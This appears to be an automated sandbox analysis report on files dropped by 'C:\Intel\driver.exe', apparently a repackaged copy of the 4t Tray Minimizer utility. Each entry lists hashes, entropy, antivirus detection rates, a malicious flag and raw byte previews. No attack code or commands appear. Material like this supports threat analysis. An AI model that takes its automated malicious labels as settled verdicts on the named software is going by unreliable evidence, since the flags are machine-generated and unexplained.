./4t-min.hhc...N.8./4t-min.hhk......../4t-tray-menu.png.....G./4t_niagara_softw.html...B."./default.css...I.j./favoritesautomatically.html...d.e./favoritesgeneral.html...I.../favoriteshiding.html...Z.C./favoriteskeyboard.html.....(./favoriteslaunching.html...E.../favoritesoverview.html...R.S./favoritestitlebar.html

C:\Intel\Trays\4t-min64.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	275968
Entropy (8bit):	5.377292337480563
Encrypted:	false
SSDEEP:	3072:GFhscoM/x/zeyFb2GP3zYkkisbL57SUp5Er/h36gMqE1Kwx57fjHGiRObXeHtOp8:Qhxz7Fbf3zYkkisbL9WDc4AyOHWy
MD5:	7BC3AEEDC18717D796F1C7FF8DBF0C17
SHA1:	94F5AB71D7EBDCF339C33820D1AAD0DB5B6998BF
SHA-256:	D7AF4E205E963B0C17330B7559CD7AA7BFABEE7E0F5F8A3F815CC2BB5F659201
SHA-512:	F6A2E99DE788C6869DC7AA6CB24A4D8BD72F1D9145CC2194CAAD9BF2242A88A69E73FC05F2D826956FE3E553B368C33295E16BF4CCA3723A6491C51D8AAC196D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....0W........../......f....................@.............................................................................................p.......................................................................................................................text....d.......f.................. .P`.data...............j..............@.P..bss....`,...@........................P..idata.......p......."..............@.0..rsrc................2..............@.@.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\4t-min_pad.xml

Download File

Process:	C:\Intel\driver.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (415), with CRLF line terminators
Category:	dropped
Size (bytes):	14387
Entropy (8bit):	5.329785287143663
Encrypted:	false
SSDEEP:	192:mm9lrTU1lo45jRukIB7Bq0KoWxDgJOPFK2NDO2ffo03+HZRiZAD0dh+fnh4RFKCc:juwlkoWxDgEFKUOMgmmsbm
MD5:	930B9A47D3982A556750F4993EBB7490
SHA1:	AAAEACB33638DE4C0A07CBD711272A3A91DC2F8C
SHA-256:	B20D63355A0427FC4E7CE80B10CED6B05FF1BCF6221E3F6D92348F15AFB7C02A
SHA-512:	4CFF22DDFFFCAFED36FF92A410466E88914F8F22ED782D927E01ED336661432CF602E5D4D14DA1BC2DFA706490E9AD631F62785D21E05CD5693D1B11787A7BA7
Malicious:	false
Preview:	<?xml version='1.0'?>..<XML_DIZ_INFO>...<MASTER_PAD_VERSION_INFO>....<MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION>....<MASTER_PAD_EDITOR>PADGen 3.1.1.51 http://www.padgen.org</MASTER_PAD_EDITOR>....<MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO>...</MASTER_PAD_VERSION_INFO>...<Company_Info>....<Company_Name>4t Niagara Software</Company_Name>....<Address_1/>....<Address_2/>....<City_Town/>....<State_Province/>....<Zip_Postal_Code/>....<Country/>....<Company_WebSite_URL>http://www.4t-niagara.com</Company_WebSite_URL>....<Contact_Info>.....<Author_First_Name>Support Team</Author_First_Name>.....<Author_Last_Name>4t Niagara Software</Author_Last_Name>.....<Author_Email>support@4t-niagara.com</Author_Email>.....<Contact_First_Name>Support Team</Contact_First_Name>.....<Contact_Las

C:\Intel\Trays\7z.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	274944
Entropy (8bit):	6.424155263952795
Encrypted:	false
SSDEEP:	6144:LpbcrmVPgtC9M5OuGh9Srn152vIhsN9E61Nu:LpQMgtC9mrnr2vIhsk67
MD5:	3CD9F4853B93DB6331C9F34BC5671407
SHA1:	7D57E6F33DA5D885198A1AD88355D4F48979D1EB
SHA-256:	9532AC334F37954C8FA781489B52B113CDE746E8271D75516F419A3F13BAAD6B
SHA-512:	715DFCA8619E2C47E26223ADC0239B3F04C86977E27874693B8FC3A1600976D523458345D680C04754191EFDCD8CC412A7FF292A0F455C1D34EC75453CD48589
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*o;+n.Uxn.Uxn.Ux..[xw.UxX(_xP.Ux...xo.Uxn.Tx..Ux...xi.UxX(^x..Ux.x.xy.Ux.x.xl.Ux..Sxo.Ux..Qxo.UxRichn.Ux........PE..L...,..K...........!.....F...:......5........`..............................................................................$...P....`...........................#...................................................`..d............................text....D.......F.................. ..`.rdata...Y...`...Z...J..............@..@.data............>..................@....sxdata......P......................@....rsrc........`......................@..@.reloc...5.......6..................@..B................................................................................................................................................................................................................................................................................

C:\Intel\Trays\File_id.diz

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.6472256555643465
Encrypted:	false
SSDEEP:	12:M2Bx1LEnOwI2NJ2H75eRK/w/BPgq1UxlTtcWZkFnvN7J2a0xhRR+NkIH:9COFF1eI/Cb1UxpmFnqxHc5
MD5:	EE15025385638295CD8953EA45D876E0
SHA1:	940763F132EA201C6526AA298AF5FC910D542691
SHA-256:	5119725BA47E7DBF5CC8DD397D017391E2B135D9943CE380377F2A3D57458AF7
SHA-512:	3146F70ACD756FA565D57A33AC698DAF3D7DBE6DF1F5997D1D371325D2E662A0F718C21626FA3BD8A8A23FF03FC011B4D61F202EA7EA87AE27C6907BE285458A
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07..===============================....Minimize Outlook, IE, Firefox and any other applications to the system tray!....4t Tray Minimizer lets you running applications minimized as System..Tray icons, which helps in adjusting free space on your taskbar. To..minimize any application to the task bar, simply left click the..minimize button as usual or press keyboard shortcut. You can..configure 4t Tray Minimizer to automatically hide/restore specific ..applications by pressing specific keyboard shortcuts.......Copyright (C) 2001-2017, 4t Niagara Software....=============================================..http://www.4t-niagara.com..mailto:support@4t-niagara.com..=============================================....

C:\Intel\Trays\ShellEh6055.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	6.298588809941958
Encrypted:	false
SSDEEP:	768:9258dMWwcuT9pU9TJ95v5xosGx/2H3llWQsmb8J/1Xc58JIyj4NtZ+QWdR8x:cwvHBxKKJ3ALMII7L+QWd2x
MD5:	0EB9F7FB524730F1B65CD926A55CBD70
SHA1:	4B6F96B4BC06303538F83AFA060E1AA0BDB3F7A9
SHA-256:	7061169B0C1EB3F0FB0EC9A2F82F9FEC8D813770EDDFA9DA059830619B431292
SHA-512:	515D665C30E5545D303D8A78B914CA34F126B34209314D59A16F37D41EC84BBC4909781F9A53E4548399AD89B0CC5CB4E28B6CE5536B5A6ECAA0F71F95171E83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................6...... .............@..........................0.......................................... ...........................................................................................................................CODE....T........................... ..`DATA................................@...BSS......................................idata..............................@....edata.. ...........................@..P.reloc..............................@..P.rsrc...............................@..P.............0......................@..P................................................................................................................................................................................

C:\Intel\Trays\ShellEh6055x64.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	117304
Entropy (8bit):	5.610558322226675
Encrypted:	false
SSDEEP:	3072:jz88+cEaxHiFnUVl7BhPTrJ1gQXbL8caj+GdhfMkHqlOqugdo:j483BtfQQXbL8caj+gkMngdo
MD5:	395290BD5EB8BE9685394305CACA3ADF
SHA1:	85B9EA9BADE9658A949C1B95467A19A6E0968BD3
SHA-256:	9D91AAC2EC8A1526732A6D4AF9D5A83C5FCFB3B978A95678F486D71BDF26AD12
SHA-512:	2982B9EC2CA7FAA5263D9881B0FA36E1D898441B0EB96FB04239FED782044D6D03419989C0FB6117CE9C4066945DD9C6448B9A1637E228C7E3A440FDCAB8909A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....P...L...'...........................................@..........................................................(.................................... ..8....................................................................................text....P.......P.................. .P`.data....L...p...L...V..............@.P..bss.....'............................P..idata..............................@.0..edata..(.......(...................@.@@.rsrc...............................@.@@.reloc..8.... ..8...................@.P@........................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\Tray.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	82432
Entropy (8bit):	6.288736444324739
Encrypted:	false
SSDEEP:	1536:50ZBlNKeoNdfYh54IlTayP6pP5sR8v1QI4zsWipcdwNL13v3gFq:5vsaIlT/Cpj1V4E4wNx3qq
MD5:	D7AE1BE3BDAEE1374B0A04E40B34CA51
SHA1:	34A4A45E9F5C86C00977565E1766F075DC2C8875
SHA-256:	5F45989E22E596BD8B5476E559ABE6E216CE446EAF79BB874C894DC938163240
SHA-512:	2E53A15C65F987E6CFEACB871A5A58D77B20D8263E92BACC6FCF5BA7D902283B2521541066CE42844B9C133AF3903205804C14433EA808F608C6731F7F85E3D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............[..[..[m$.[..[m$.[...[m$.[...[...Z..[...Z..[...Z..[.G"[..[..[...[...Z..[...Z..[...[..[...Z..[Rich..[........................PE..L......W...........!................J(....................................................@..........................$.......%..x....`..h....................p..L.......T...............................@............................................text............................... ..`.rdata...].......^..................@..@.data...P....0....... ..............@....shared.Q....@.......(..............@....gfids.......P.......*..............@..@.rsrc...h....`.......,..............@..@.reloc..L....p.......0..............@..B........................................................................................................................................................................................................

C:\Intel\Trays\Trays.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2019840
Entropy (8bit):	6.439982548644594
Encrypted:	false
SSDEEP:	49152:hpIEX9g68K7LjloCbCqommOGV7t398lBvX:hh8ULjloAhm3V7wX
MD5:	90D208B856DEA18596D57FFB1DD3A867
SHA1:	7EE41EEADF39A001B6149738B874D998911055EF
SHA-256:	344DE5B82B337E49C0F30748E0BC74AFC1EBCF90DF4BD0EED5298B5CD57282D9
SHA-512:	ADECDD534F3A7EA3B409186FC60385EFC7C04BD12EDDD8EE6D50E9FF87AFC79A84B94640B325938E8920762E30C059B92117C0D12B5C1F4DAD8DEC60E61438C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................0.............@...........................!.....Oj...........@...........................`...7...P..............................................................................................................CODE....0........................... ..`DATA.....R.......T..................@...BSS......X...............................idata...7...`...8..................@....tls....(................................rdata..............................@..P.reloc..T...........................@..P.rsrc........P......................@..P..............!......\ .............@..P........................................................................................................................................

C:\Intel\Trays\Trays.lnk

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sun Oct 6 11:03:06 2024, mtime=Sun Oct 6 11:04:28 2024, atime=Tue Aug 8 16:22:26 2017, length=2019840, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	4.372618772871116
Encrypted:	false
SSDEEP:	12:8lWHyM0sXXHg2XIGNrDHjestc/YEyGGVagVgHhfJILPri82ctejOqQAVQE6Um5:8Y9HHgwIEjlajNGPuBfJIiYteBT5zm
MD5:	919F64751F2164821A33CF02079E446D
SHA1:	A13BA175D24AE2AECF78FEFD70D96B8B0C3A5537
SHA-256:	B9702AB266717FDF1AB946E2F4253F67AAAC3A4DB3BC8BD71145C250997334B3
SHA-512:	B0D74D7A53D558595CD2243F79234F52B8F74BDB1AF1451CA0682C13616E1F4777B4D280CE929AB77EE8033F4C7B4A8A5B64BD7113F8C99CD97447CBAE6EC79D
Malicious:	false
Preview:	L..................F.... ...p.$..............5z.j...........................+....P.O. .:i.....+00.../C:\...................P.1.....FYc`..Intel.<......FY.]FYc`............................Y.I.n.t.e.l.....P.1.....FY.`..Trays.<......FY.]FY.`..........................jK..T.r.a.y.s.....\.2......K. .Trays.exe.D......FYd`FYd`....w ........................T.r.a.y.s...e.x.e.......M...............3.......L...........65......System.C:\Intel\Trays\Trays.exe......\.T.r.a.y.s...e.x.e...C.:.\.I.n.t.e.l.\.T.r.a.y.s...-.t.r.a.y.`.......X.......vivobook.........................W........(..VY.................W........(..VY........Q...1SPS.0..C..G.....sf"5...d............T.r.a.y.s. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...%................T.r.a.y.s...e.x.e............@....f...........................)..................@.8.;.>.6.5.=.8.5..............@....5z.j.......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.T.r.a.y.s.\.T.r.a.y.s...e.x.e.........9...1SPS..mD..pH.H@..=x.....h

C:\Intel\Trays\Whatsnew.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1622
Entropy (8bit):	4.899410686748101
Encrypted:	false
SSDEEP:	48:lS2HOIQ3WN/SE8VFLskLb7RuGnPJgsGb4xC5V4ylVFk:tuI62/BID3lumPJEx5V4y/O
MD5:	09FE429955CDD00C8204694A12FC61E0
SHA1:	A7F9F4DAAA05E9352A9BD2B240F74EA42C11BCAD
SHA-256:	F19A02D60EED8BFE9844D815766C3B7A9D73BE6465BD7773746A27F39EF89A3A
SHA-512:	6D49512F3E81F1ADEB14E42536FAA852154D81734FD6C9E77EAF83000CD3ED1B4BFD18EB694725ABE723B66E276C3B6EE4A25A34DBED8386B933BD8D23CFDBEA
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: What's new?..=================================================....ADDED.. [+] Windows 10 support.. [+] Windows 8 and 8.1 support.. [+] Support for console windows.. [+] Localization support.. [+] French language added. Thanks Jean-Pierre Lord for translation.. [+] Chinese language added. Thanks Merci chao for translation.. [+] Italian language added. Thanks Massimo Marcacci for translation.. [+] Portuguese (Brazil) language added. Thanks Eduardo Lampugnani for translation... [+] Russian language added. Thanks Ringil Endimion for translation... [+] Simplified Chinese translation added. Thanks Zeojc Uts for translation.. [+] Spanish language added. Thanks Claudio Salvio for translation... [+] German language added. Thanks Thomas Creutz and Maximilian Balter for translation.. [+] Ability to redefine action for the mouse click on the title bar.. [+] Inactive favorite windows can be automatically minimized to tray after certain idle time is r

C:\Intel\Trays\company.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	4.6004442740684155
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZFn:HRYFVm/r4bX
MD5:	40D94BAF7D28D32280FCF0DD570A37E6
SHA1:	F87EF8C328509F0135D98FF4B35C915F23D58D0A
SHA-256:	F192C975D67838A743CAACD8CA71877AE043FAD6F18E2F0B0FB96D0F9B66E15E
SHA-512:	C7277C09CCC99C1DCF1969C2D1771A046E803BA1B264A183D1ED473C2DAE3328F7FA1970B350B7CD584A8FE20CA81C3CA851A59C07D6ADFE25BDE801BF877997
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com..

C:\Intel\Trays\contact.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/contact_us.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.637005519385317
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3dLlhW5vn:HRYFVm/r4bnlhW5v
MD5:	6F0250612EC7B39A83E74CF3CA356CA5
SHA1:	80EFD04C98430B1748381010C68659DFC2557A5F
SHA-256:	241D88C602F3298DA04D403E97E831E843D9C6176FA7C661FCA9FB9EA7CDF7BE
SHA-512:	879752B9F83BC53F21656AAABE98B6B4955CA4A2B67531F92D3A3333230AAE59E989A9CA29368C3097521E3D3C92874511B54260732E07B1CA03FCEE47EC3C01
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/contact_us.html..

C:\Intel\Trays\delReg.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.23811864882066
Encrypted:	false
SSDEEP:	768:jlQqBEBHyBqM/5b8inuL5wKzE9nfw6dMcK10ztk2hEwxa1zTH4p1Alor/4Bv/eDk:hQqBE3ubz2LzEaOMcwVvSaF4bADGD8X
MD5:	E30D6A1276746415D9E02420B9163D00
SHA1:	D6E7245784FB9981FF15D56E10D75BDC342B4481
SHA-256:	211F078A2914BA88EE3A739A1C7A3CDE592BB8A5ED522D55038274000F7C6C89
SHA-512:	1C19BB914A7B21AAC11C4E9551B99081DC49F7DE3A12D911B457A5D838E4BFD18DF28375B8EEC902EAEF5CC1BEE7927AF385E89823693E246A6F003CF6D6B499
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@..................................................................................................................................................CODE....4........................... ..`DATA................................@...BSS......................................idata..............................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Intel\Trays\faq.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_faq.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.731392382286379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEco6Jovn:HRYFVm/r4bQc4v
MD5:	77D33FFFDC8B189F0E7A6BCF8460CD28
SHA1:	E68219FEDE27F53EA5E6606DF3C556DF9D2E6DF9
SHA-256:	4681D53DD83DE83A9DABCA7DC7D7AEEF1BA71EDC24254E244920F27BF6EA05EB
SHA-512:	8A8BC2120EC2987A2FE3379535530A784644E3BE0AEA11385DC2548DF13289DB834A796DECE770A074B53B60429CDC4F593BC71D776069D2DD8FDE4607B0DE28
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_faq.html..

C:\Intel\Trays\license.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2351
Entropy (8bit):	5.177290930473369
Encrypted:	false
SSDEEP:	48:2geJSyUwiCEfm2CwZupvE32sHiHnOxmiRt:2gZyUDO2fZEvE3+HnOBv
MD5:	04B3166626C39B806F710D2243A0B1C3
SHA1:	2EB73BAC75D2B6C616580D03A84DB3035AB16A4B
SHA-256:	6D9403BEC7B9060DE5289BCBB28024379F550A98233E3F776E3E9833DDEA45CB
SHA-512:	4C2A78E1274EF3AF1F82C61A48D1FD18A556395B72E47943F4925F5AF958DBE8A837F95A230B1F52DC763DC14A1692CE4545E70ECB13115B5F40A6E8086431E3
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: THE LICENSE..===============================================....You should carefully read the following terms and..conditions before using this software. Your use of this..software indicates your acceptance of this license..agreement and warranty.....* 4t Niagara Software exclusively owns all.. copyrights to 4t Tray Minimizer.....* You can use the 4t Tray Minimizer Free version for personal .. and commercial purposes without any time limit.....* One LICENSED copy of 4t Tray Minimizer Pro may be used .. by one and only one of the following ways:.... 1) Personally by a single person, who uses the software .. on one or more computers.... 2) Installed on a single workstation used nonsimultaneously.. by multiple people....* The sale of and/or distribution of licensed copies.. of 4t Tray Minimizer Pro is strictly forbidden. It is a.. violation of this agreement to loan, rent, lease,.. borrow, or transfer the use of licensed copies of.. 4t N

C:\Intel\Trays\locale\de2\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 382 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Ausgeblendete Fenster'
Category:	dropped
Size (bytes):	30905
Entropy (8bit):	5.069231381707322
Encrypted:	false
SSDEEP:	768:4m0kM8gxaxtDp/C01snfhapyU9MJavZoK1Afz09PG3:x0kM8VF/91ohXKGo9PG3
MD5:	593F8A1D92C99751439CB11FCA5A5147
SHA1:	1A2FAB607168A473B65570199EAB2E3FBAEE7329
SHA-256:	5AFD8C6487235E7BAA5E17FAAE8E951C59342E63A5BBA91312D264742FA75DFB
SHA-512:	38B93610939400884143D4B093DD35A74F635D9CF4C6113E7B2C174BA1DF1805B167D6BE8B8C1F879497EFE21CA2E838B2DACCED73F199DAE1F20EC665AD7093
Malicious:	false
Preview:	........~........................................ ....... ......( ......C ......M ......V ..-..._ ....... ....... ....... ....... ....... ....... ....... ..).... ..#....!......1!......7!......S!......`!......v!..!....!.......!.......!.......!.......!..C....!......"..9...="......w"......}"......."..&...."......."......."......."..,...."..=....#......L#......Z#..8...l#.......#.......#.......#.......#.......#.......#.......#.......#.. ....$......0$......@$......H$......S$......k$..9...v$../....$.......$..3....$...... %......0%......_%......c%......i%......x%.......%.......%.......&.......&.......&..<....&.......'.......'.......'..!....'......@'..!...H'..-...j'.......'.......'.......'..,....'.......(..4....(.......(..+....(.......)..(...<)..)...e)..+....)..8....)..F....)......;......I......i......w..............................2.........................+..?....+..5...Y+..6....+.......+.......+.......+.......,.......,......+,......1,......;,......H,......U,......],..%...r,......

C:\Intel\Trays\locale\de\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Versteckte Fenster'
Category:	dropped
Size (bytes):	30016
Entropy (8bit):	5.060728405451012
Encrypted:	false
SSDEEP:	768:T0ZZpKDtuTp/d01snfhapyU9dpz1Bc+zdRs0s4FVUzs:T0oi/K1ohICIuzs
MD5:	45C010F6FE41F2F39B812800C9AA6628
SHA1:	CFF21B13A3181D6BDD40A6965814E489024C86FA
SHA-256:	BB2A9AD8C5138613D58D27895BE22CA9B42C370BD7F3DC19C51D4418A5990BC2
SHA-512:	CDD20FDE69978FA38057178D4CDA665B8F5281C7C960C06897E747D954AA3387A5AC337C577C999FA38680D0186E5A6449DAD942D7A0C8C3C2482C3B4CED4C80
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\es\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Ventanas ocultas'
Category:	dropped
Size (bytes):	30458
Entropy (8bit):	5.027518042535738
Encrypted:	false
SSDEEP:	768:nCFqE+vfRtop/dSwwnvhafRtnoVnUlQNf:CtQq/cwmhfVnycf
MD5:	698A77586654ADEFC181A9C2752393E0
SHA1:	83CFCE72EB1495F7E3F9E5A8DA2F3723E4FAB910
SHA-256:	793F85BE0AFD56902465F12165EBBF5EB72C5029DC0F9122C50DBE8DAA1D2B0D
SHA-512:	93F4E3BD983D6D81B0D455433623DF384FB81AD2E64447174ACC21074DFE047AA62499F045FD66707E5E00E9ACA95F225B867DE5D481392F89490D74C02489AA
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\fr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Fen\303\252tres masqu\303\251es'
Category:	dropped
Size (bytes):	29470
Entropy (8bit):	5.062750769039303
Encrypted:	false
SSDEEP:	768:3r1SPrWd0ZWp/dSwBnvhafRtntA4/85/yOi:71B1/cwZhvi
MD5:	AB89E520989F70BB3E6D88348B1BB1B4
SHA1:	94ADB5B2BF6CDF422951A1368246CFB7BA7C7EDA
SHA-256:	E5BFC9850A8B703BC8111A80A986E95BBD774110BF336779C80C2F0314BCB787
SHA-512:	C2F8CB2345D8BEBFD9436B066ECAC8EE35A64C106A6CB0F7CD53A74C171DDC50F1F7C948AA63548E1582D33ECFFB4A99E9240F3DD34EAE9147592FBDF38A23F3
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\it\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Finestre nascoste'
Category:	dropped
Size (bytes):	29520
Entropy (8bit):	4.974866083390291
Encrypted:	false
SSDEEP:	768:3riKEaZWp/dSwBnvhafRtnZ3fO5oPYvG2CZ+Xc:7ip/cwZhR5odZZ
MD5:	E20E2DAD6CA8B7EE2749F54D0A711AC0
SHA1:	550228B8FE9213054C1F578F55D8CE0E3288499C
SHA-256:	0492C624FAD7DC6655F8BED19DA0CFFDD1706C559EF892E629992F6FCB1E2DF0
SHA-512:	50A3D7BBD95E25944A734D20C65E5516A61168C2F7A7E8DD597F63560BA56EDC710BB50C8CA78F40DED1F90D733C713FB050D69BA51A64AE3CFB47606CBD657B
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\pt_BR\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Janelas ocultas'
Category:	dropped
Size (bytes):	29425
Entropy (8bit):	5.09510591952236
Encrypted:	false
SSDEEP:	768:nCmhLDLgQf2Wtop/dSwwnvhafRtnSUs9OqhjajbxPGG8XHR2K5Ht:CmeWe/cwmhv9/mHQXHYyN
MD5:	85CBD0F7AFE8AC0A245A08A65AC40F7F
SHA1:	450A5DB373C743CA3ECFA7F6025CEE30E780D18C
SHA-256:	AAAF351A90E8210C4BC38A29FEB2FC4A67389D77FAE605B0A6FC92450F698096
SHA-512:	798D21AADEB715ACC703BD2E47CA507B65223A00FC7E036F8AACB7D7EFB877384BA72E0812C5574F406E8D8B5D51BEE7EF75B35ECCA8E111497DF01EFC0E0D80
Malicious:	false
